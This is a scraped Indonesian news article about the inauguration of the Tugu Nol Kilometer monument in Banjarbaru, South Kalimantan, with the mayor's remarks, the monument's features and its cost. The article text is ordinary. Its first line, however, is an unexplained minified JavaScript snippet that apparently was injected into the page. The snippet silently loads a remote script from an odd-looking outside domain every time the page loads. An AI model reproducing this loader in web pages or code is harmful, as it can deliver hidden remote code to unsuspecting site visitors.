(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Ibu Kota Provinsi Kalimantan Selatan (Kalsel), Banjarbaru kini memiliki ikon baru. Adalah Tugu Nol Kilometer Banjarbaru yang berlokasi di jantung kota.
Ikon baru ini sendiri diresmikan oleh Wali Kota Banjarbaru, Aditya Mufti Ariffin yang turut disaksikan oleh sejumlah saksi sejarah berdirinya Banjarbaru, Jumat (29/12/2023) malam.
Berdiri di atas tanah seluas 327 meter persegi, terdapat ornamen yang menggambarkan perjalanan Kota Banjarbaru, serta replika daun Bangkal. Selain itu, pintu lorong waktu menggambarkan sejarah perjalanan Banjarbaru juga terdapat pada tugu ini.
Baca juga: Embung Gunung Kupang Tak Rampung Hingga Tutup Tahun, Progres Hanya 77 Persen
“Tugu Nol Kilometer ini tarikan dari Banjarbaru dan menjadi titik sejarah Banjarbaru berdiri,” ujar Aditya usai peresmian Tugu Nol Kilometer Banjarbaru.
Aditya menuturkan, Tugu Nol Kilometer ini memiliki ornamen yang menggambarkan sejarah Banjarbaru diharapkan menjadi pengingat untuk generasi muda Banjarbaru. Karena Banjarbaru bukan hanya sebagai tempat tinggal, namun sejarah perjalannya harus diketahui.
“Serta bentuk terima kasih atas jasa pada pendiri, sehingga Banjarbaru bisa seperti hari ini,” bebernya.
Di dalam Tugu Nol Kilometer sendiri, terdapat sebuah plakat bertuliskan “WABUL SAWI”, yang merupakan akronim dari Wani Baidabul, Sanggup Manggawi. Bukan tanpa alasan istilah Banjar ini digunakan pada Tugu Nol Kilometer karena memiliki makna khusus.
Baca juga: Dua Motor Matic Tabrakan di Kawasan Perkantoran Gubernur Kalsel, Begini Kronologisnya
“Ini bentuk penyemangat dari pendiri kota. Makanya selain sebagai ikon kota, juga sebagai tugu sejarah untuk Banjarbaru,” lugas Aditya.
Nantinya, kamera pengintai (CCTV) akan ditempatkan di sekitar Tugu Nol Kilometer. Tujuannya tak lain agar keberadaannya tidak disalahgunakan oleh oknum tidak bertanggung jawab.
Aditya juga berharap, masyarakat Banjarbaru dapat turut serta menjaga dan merawat Tugu Nol Kilometer yang menghabiskan dana sebesar Rp1,7 miliar ini.
“Kita juga berharap agar masyarakat menjaga apa yang telah dibangun Pemko Banjarbaru, karena dibangun tentunya untuk kepentingan masyarakat,” tuntasnya. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More
KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More
Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More
This website uses cookies.